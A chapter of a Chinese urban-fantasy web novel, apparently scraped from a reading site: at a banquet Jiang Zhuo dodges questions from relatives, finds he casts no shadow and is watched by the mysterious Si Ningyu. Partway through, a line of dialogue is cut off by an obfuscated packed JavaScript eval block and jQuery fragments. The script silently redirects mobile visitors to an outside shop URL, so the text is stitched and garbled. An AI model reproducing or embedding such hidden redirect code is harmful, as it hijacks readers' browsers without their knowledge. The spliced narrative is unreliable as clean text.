杜老五左右看了看,确定周围没人,这才凑到他耳边,压低声音说:“那位就是咱们杜老太公都尊敬无比的司小姐,尊敬到什么程度,恨不得供起来伺候!”
“供起来?”江酌晃了晃酒杯,“什么人这么大排场?我怎么从来没听说过?”
杜老五嘿嘿笑了两声,压低声音说:“江少,您年轻,不知道也正常,那位啊……那位可了不得,我偷听我爸说过几嘴,咱们杜家祖上就跟着那位了,一直到现在……”
祖上到现在?
这得多少年?
江酌心里一震,面上却笑了一声:“杜老五,你喝多了吧?这么多年过去,那不成老妖怪了?”
杜老五正想要再说点什么,就听到一道低沉的声音从背后传来:
“老五!”
江酌回头,看见一个中年人快步走过来,脸上笑着,眼神却冰冷无比。
杜老五看见他,酒醒了一半,讪讪地站起来:“二哥……”
杜二哥走过来,先是对江酌点了点头,笑得客气:“江少,不好意思,老五喝多了满嘴疯话,您不要往心里去,我这就带他回去醒酒。”
他说着,一把扶住杜老五的胳膊,力道大得杜老五龇牙咧嘴。
“二哥,我……”
“闭嘴!”
杜二哥压低声音,两个字像是从牙缝里挤出来的。
杜老五脸色一白,不敢再说话,乖乖跟着他走。
杜二哥临走前,眼神复杂地回头看了江酌一眼。有警惕,有审视,更多的是警告。
“江少,您慢慢喝。”他停下脚步,脸上又堆起那副客气的笑,“有什么需要,随时吩咐。”
江酌靠在椅子上,冲他举了举酒杯,笑得漫不经心:“行,杜二哥慢走。”
杜二哥扶着杜老五走了。
江酌看着他们的背影消失在人群里,脸上的笑慢慢敛去。
他端起酒杯抿了一口,脑子里在飞快地转。
那女人该不会真的是只千年老妖怪吧?
一觉醒来这世界这么魔幻了?
他压下心中的烦躁,正打算起身,胳膊忽然被人拽住。
“臭小子,跑哪儿去?”江天威的声音传来,“我满大厅找你,你倒好,躲这儿清闲?”
江酌回头,看见江天威板着的脸,脸上的表情是那种典型的“老子找你半天了”的不悦。
“刚在那边喝酒。”江酌懒洋洋地说,“怎么了?”
“怎么了?”江天威瞪他,“带你过来是让你来喝酒的?跟我走!”
“杜太公在那边,杜小姐也来了,你过去好好打个招呼,别摆你那张臭脸。”
江酌眉头一皱,“你不会真要给我介绍那个杜小姐吧?”
江天威头也不回:“怎么,委屈你了?”
“不是委屈不委屈的问题——”
“那就闭嘴。”
江酌:“……”
两人穿过人群,来到大厅东侧的一处休息区,那边围着几个人,杜太公坐在主位上,正和几个年纪相仿的老者说笑。
他身旁站着一个年轻女孩,二十岁上下的模样,长发挽成一个松散的髻,露出修长的脖颈。
她站在杜太公身边,脸上带着得体的微笑,看起来温婉又乖巧。
标准的豪门千金模样。
“天威来了!”杜太公看见他们,笑着站起身。
江天威连忙快走两步,拱手笑道:“杜老,失礼失礼,刚才被几个老朋友拉住,脱不开身。”
杜太公摆摆手,笑得慈祥:“哪里哪里,来了就好。”
他的目光落在江酌身上,上下打量了一番,眼中闪过一丝满意之色。
“这就是江酌吧?”他笑着问,“几年不见,长这么高了,一表人才啊。”
江酌扯了扯嘴角,算是笑了一下:“杜太公好。”
杜太公点点头,转头看向身边的女孩:“灵儿,来,认识一下,这是江伯伯,这是江伯伯家的少爷,江酌。”
杜灵抬起头,礼貌对江天威露出一个标准的笑,然后转向江酌。
两个人的视线在空中撞了一秒。
随后都面无表情地移开目光。
杜灵声音软糯打着招呼:“江伯伯好,江少爷好。”
江酌也点了点头:“杜小姐好。”
两个人的对话到此为止。
杜太公和江天威已经开始寒暄起来,说的都是些场面话,什么“两个孩子都这么大了”“时间过得真快”“以后多来往”之类的。
江酌懒得听这些寒暄,心中压着一堆事,打算找个无人注意的时刻开溜。
杜灵站在杜太公身边,拉了拉杜管家的衣袖,“杜叔,你看见昨晚那位姐姐了吗?”
杜管家一愣,反应过来她说的是谁,脸上闪过一丝为难。
“小姐,那位……今晚好像没来。”
杜灵心里有些失落,“哦”了一声。
她低下头,看着自己脚上的银色高跟鞋,今天特意新买的,配这条裙子刚刚好。
杜灵心里闷闷的,有点想回去换掉这条裙子。
漂亮姐姐都没来,这晚宴感觉也没啥意思。
......
江天威正和杜太公说着话,忽然想起什么,回头一看,身后空空如也。
那个臭小子呢?
他眉头皱了皱,目光在人群中搜寻了一圈。
没有。
他又往远处看了看,还是没有。
“天威?”杜太公的声音传来,“怎么了?”
江天威收回目光,脸上重新挂上笑容:“没什么,杜老,您刚才说到哪儿了?”
杜太公笑着继续说下去。
江天威满面笑容应和着,偷偷让江管家去找人。
这也太没礼貌了,话没说完人就不见了,那臭小子不要面子,他还要!
……
江酌早已经端着酒杯往人群中走,本打算再遛一会就走,反正今晚任务也达成了,江老头也不能说他什么。
忽地瞥见个熟悉的身影。
梁怡冰站在窗边,穿着一件深红色的礼服,正和几个女人说话。
他打了个招呼,梁怡冰也礼貌举杯。
他转身,就又看到一个熟悉又陌生的背影。
女人四十多岁,保养得很好,穿着一身墨绿色的旗袍,戴着一串珍珠项链,正和一个年轻贵妇闲聊。
那是尤慧,他母亲。
江酌淡淡收回目光,心想今晚熟人可真多。
正当他准备离开,熟悉的声音突然在背后响起:“阿酌。”
江酌回过头。
尤慧站在他面前,微笑着看着他,“听说你昨天回来了?没事吧?”
“没事。”江酌礼貌道。
“那就好。”尤慧笑了笑,伸手想帮他整理一下衣领,“这几天忙,没顾上你,改天咱们吃个饭,或者你有什么想要的,直接和妈妈说。”
江酌微微侧了侧头,避开她的手。
“我什么都不缺。”
尤慧的手顿在半空,又自然地收回去。
她也不觉得尴尬,漫不经心般:“刚才和杜老五聊什么呢?聊那么开心?”
江酌心里一动,尤慧一直在观察他?
他面上却不动声色,懒洋洋地说:“没什么,那胖子喝多了,非得拉着我吹牛。”
“这样啊。”尤慧笑了笑,“你刚回来,妈妈担心你,这几天有没有遇到什么奇怪的人?”
江酌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482276|201816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将问题抛回去,“那你这两天,有没有遇到什么奇怪的人?”
尤慧笑容不变:“我能遇到什么奇怪的人?”
江酌耸了耸肩:“你不是问我了吗?我寻思着,你要是也遇到了,咱俩可以交流交流。”
尤慧笑容僵在脸上,又很自然地伸手拍了拍他的肩膀,动作亲昵,“傻孩子,妈妈天天在公司,能遇到什么,行了,别瞎想,好好玩。”
她转身走了,高跟鞋踩在地板上,发出清脆的声响。
江酌看着尤慧的背影,只觉得浑身不舒服。
他放下酒杯,离开了晚宴。
夜风迎面吹来,带着初秋的凉意。
江酌慢条斯理往外走,月亮很圆,挂在黑色的天幕上,像一面银色的镜子,月光洒下来,把整条街道都镀上一层淡淡的银辉。
他走下台阶。
走了两步,忽然停住,目光落在自己脚边。
月光下,地面是灰白色的,干干净净,什么都没有。
没有影子。
江酌的身体僵住,浑身泛起冷意。
他往左走一步,又往右走一步,随后转过身,背对着月亮,月光从他身后照过来,按理来说应该投下长长的黑影。
但地面上除了灰白的地砖,什么都没有。
他站在原地,脑子嗡嗡地响。
“少爷?”台阶下的司机一脸茫然,他早就注意到江酌走了出来,便立马开动车子过来迎接。
却见他们家少爷愣在原地,各个角度地看了四周,好像在找什么东西?
司机立马反应过来,“少爷,您在找什么,我帮您一起找。”
“不用了。”江酌大跨步向前走,强装淡定。
影子太过日常,不太注意确实容易忽略掉,比如现在,司机就没发现江酌没有影子这件事。
这种事情太过诡异,他得好好想想,该怎么办。
江酌心如乱麻,没注意到酒店对面,有一双眼睛正在盯着他。
......
酒店不远处,一栋大厦的顶层。
司凝玉站在落地窗前,静静看着对面酒店里的一切。她视力很好,又调动能量聚集在双眸上,能看得更加清楚。
她的目光穿过人群,落在江酌身上。
看了一会,没发现有什么特别的,随后移开视线。
很快,她敏锐地察觉到了宴会之中有几人的行为很是刻意。
那个靠窗的深红礼服的女人,就反复地与在场的另外两个动作刻意的人眼神接触,表情莫测地说了什么,随后又各自散开。
司凝玉将那三个人的脸记下来。
“一共有五个。”她轻声呢喃,目前只见到了三个。
她的目光停留在和江酌交谈的青色旗袍女人身上,她略有些疑惑,又不太确定。
“看来它们也有行动了。”
司凝玉冷冷收回视线。
不能再等了。
钥匙绝不能落到它们手中。
司凝玉看着对面酒店的大厅,注意到江酌放下酒杯,正在往外面走。
她挥挥手,一只蹲在空调外机上的麻雀歪了歪头,然后扑棱了着翅膀,飞向夜色中。
与其等待,不如主动出击。
司凝玉转身,往外走去。
.......
晚宴酒店门口,江酌正要上车,忽然瞥见余光里有什么东西一闪。
他猛地转过头。
街道的转角处,一抹白色的身影一闪而过。
江酌瞳孔一缩。
是她!
想都没想,他拔腿就往那个方向跑去,这次不能再让她逃了,他必须问清楚!
“少爷!”司机在身后喊,“少爷您去哪儿——”